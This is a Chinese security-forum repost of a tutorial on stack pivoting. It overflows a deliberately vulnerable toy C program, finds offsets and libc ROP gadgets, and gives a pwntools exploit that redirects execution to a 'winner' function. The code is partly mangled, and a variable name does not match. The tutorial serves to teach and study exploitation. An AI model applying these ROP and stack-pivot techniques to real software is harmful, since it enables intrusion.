安全矩阵

 找回密码
 立即注册
搜索
查看: 632|回复: 0

一个简单实践理解栈空间转移

[复制链接]

251

主题

270

帖子

1797

积分

金牌会员

Rank: 6Rank: 6

积分
1797
发表于 2023-4-2 21:12:46 | 显示全部楼层 |阅读模式
转于:winsunxs 看雪学苑 2023-03-30 18:02 发表于上海

本文为看雪论坛优秀文章
看雪论坛作者ID:winsunxs

1 what
stack pivoiting是一种栈空间转移技术。
2 why
有时候缓冲区有长度限制,不利于在栈上配置rop gadget(空间不够)!
3 how 3.1 pop rsp gadget
这种情形比较少见,遇到了相当幸运。
3.2 xchg <reg>, rsp


pop <reg>                <=== return pointer<reg value>xchg <rag>, rsp 3.3 leave;ret
leave相当于:
mov rsp,rbppop rbp
加上ret就等于:


mov rsp,rbppop rbppop rip

覆盖rbp,然后栈中的rip覆盖为Addr(leave;ret),当接收数据的函数返回时候,rsp指向target,target新栈中保留了待执行shellcode。
4 漏洞程序 vuln


// gcc source.c -o vuln -no-pie#include <stdio.h> void winner(int a, int b) {    if(a == 0xdeadbeef && b == 0xdeadc0de) {        puts("Great job!");        return;    }    puts("Whelp, almost...?");} void vuln() {    char buffer[0x60];    printf("Try pivoting to: %p\n", buffer);    fgets(buffer, 0x80, stdin);} int main() {    vuln();    return 0;} 4.1 vuln脆弱性存在输入性栈溢出,buffer大小0x60。fgets存在输入大小限制,0x80上界。程序编译保护存在,nx。


─$ checksec --file=./vuln
  • '/home/kali/exploits/spivot/vuln'  Arch:     amd64-64-little  RELRO:    Partial RELRO  Stack:    No canary found  NX:       NX enabled  PIE:      No PIE (0x400000) 4.2 vuln脆弱性利用目标 rip指向 winner函数,获取winner函数的执行权 4.3 vuln利用步骤 4.3.1 测算rip的偏移 ① 生成de bruijn串└─$ ragg2 -P 200 -rAAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA ② fuzz vuln


    ┌──(kali㉿kali)-[~/exploits/spivot]└─$ r2 -d -A vuln[x] Analyze all flags starting with sym. and entry0 (aa)[x] Analyze function calls (aac)[x] Analyze len bytes of instructions for references (aar)[x] Finding and parsing C++ vtables (avrr)[x] Skipping type matching analysis in debugger mode (aaft)[x] Propagate noreturn information (aanr)[ ] Use -AA or aaaa to perform additional experimental anal[x] Use -AA or aaaa to perform additional experimental analysis.[0x7f93b6df79c0]> dcTry pivoting to: 0x7ffcd3256000AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA[+] SIGNAL 11 errno=0 addr=0x00000000 code=128 si_pid=0 ret=0 ③ 确定rip偏移[0x004011c5]> dr rbp0x4169414168414167[0x004011c5]> wopO `dr rbp`96所以,rip的偏移是104 = 96 + 8 ④ 猜测栈基本布局 stack ::= |+00 buffer | +96 rbp | +104 rip | +112 x1 | +120 x2 | +128 x3 |
    因为fgets输入长度限制是0x80==128,而且,栈不可执行shellcode,所以,可以覆盖的区域只有 rip,x1,x2 三个变量的地址,且只能用rop gadget方式。
    4.3.2 寻找可用gadget pop rdi──(kali㉿kali)-[~/exploits/spivot]└─$ ROPgadget --binary vuln  | grep   'pop rdi'
    很不幸,vuln程序中找不到类似pop rdi | pop rsi等指令,只能去libc找一个用用。

    libc找gadget的前提是ASLR已经关闭:


    ──(kali㉿kali)-[~/exploits/spivot]└─$ cat /proc/sys/kernel/randomize_va_space0
    ROPgadget寻找libc
    ```
    └─$ ldd vuln


    linux-vdso.so.1 (0x00007ffff7fc9000)libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7dce000)/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcb000)
    ┌──(kali㉿kali)-[~/exploits/spivot]
    └─$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rdi ; ret' 0x0000000000027725 : pop rdi ; ret 0x0000000000065b7d : pop rdi ; ret 0x16


    所以,**POP_RDI = 0x00007f85682b0000 + 0x027725** 2. pop rsi
    ┌──(kali㉿kali)-[~/exploits/spivot]
    └─$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rsi ; ret' 0x0000000000028ed9 : pop rsi ; ret 0x0000000000085336 : pop rsi ; retf


    所以,**POP_RSI = 0x00007f85682b0000 + 0x028ed9** 3. pop rsp
    ┌──(kali㉿kali)-[~/exploits/spivot]
    └─$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rsp' ... 0x00000000000fd999 : pop rsp ; jmp 0xfd8e0 0x00000000000ff3b6 : pop rsp ; jmp 0xff1c0 0x00000000000db8b8 : pop rsp ; jmp 0xffffffff8552b8cd ... 0x00000000000273aa : pop rsp ; ret
    所以,**POP_RSP = 0x00007f85682b0000 + 0x0273aa** ### 4.3.3 规划栈布局 - **old_stack ::= |+00 buffer | +96 rbp |  +104 rip | +112  x1 |  +120 x2 | +128 x3 |** new_stack ::= | 新栈布局     ||  :---:      || +00 POP_RDI         || +08 0xdeadbeef   || +16 POP_RSI      || +24 0xdeadc0de   || +32 winner_addr  || ...              || +104 POP_RSP (rip位置)    || +112 Buffer_addr | ### 4.3.4 pwntools编写利用代码
    from pwn import *
    elf = context.binary = ELF('./vuln')
    p = process()
    获取buffer_addr
    p.recvuntil('to: ') py = int(p.recvline(),16) log.info(f'leak buffer addr: {hex(buffer_addr)}')
    LIBC = 0x00007ffff7dce000 POP_RSP = LIBC + 0x0273aa POP_RDI = LIBC + 0x027725 POP_RSI = LIBC + 0x028ed9
    设置payload
    payload = flat(POP_RDI,0xdeadbeef,POP_RSI,0xdeadc0de,elf.sym['winner']) payload = payload.ljust(104,b'A') payload += flat(POP_RSP,buffer_addr)
    send payload
    p.sendline(payload)
    print(p.recvline())


    ### exploit output
    └─$ python exploit.py
    [] '/home/kali/exploits/spivot/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Starting local process '/home/kali/exploits/spivot/vuln': pid 1171678 [] leak buffer addr: 0x7fffffffe280 [] Paused (press any to continue) b'Great job!\n' [] Stopped process '/home/kali/exploits/spivot/vuln' (pid 1171678) ```

  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    小黑屋|安全矩阵

    GMT+8, 2024-11-28 20:41 , Processed in 0.012773 second(s), 18 queries .

    Powered by Discuz! X4.0

    Copyright © 2001-2020, Tencent Cloud.

    快速回复 返回顶部 返回列表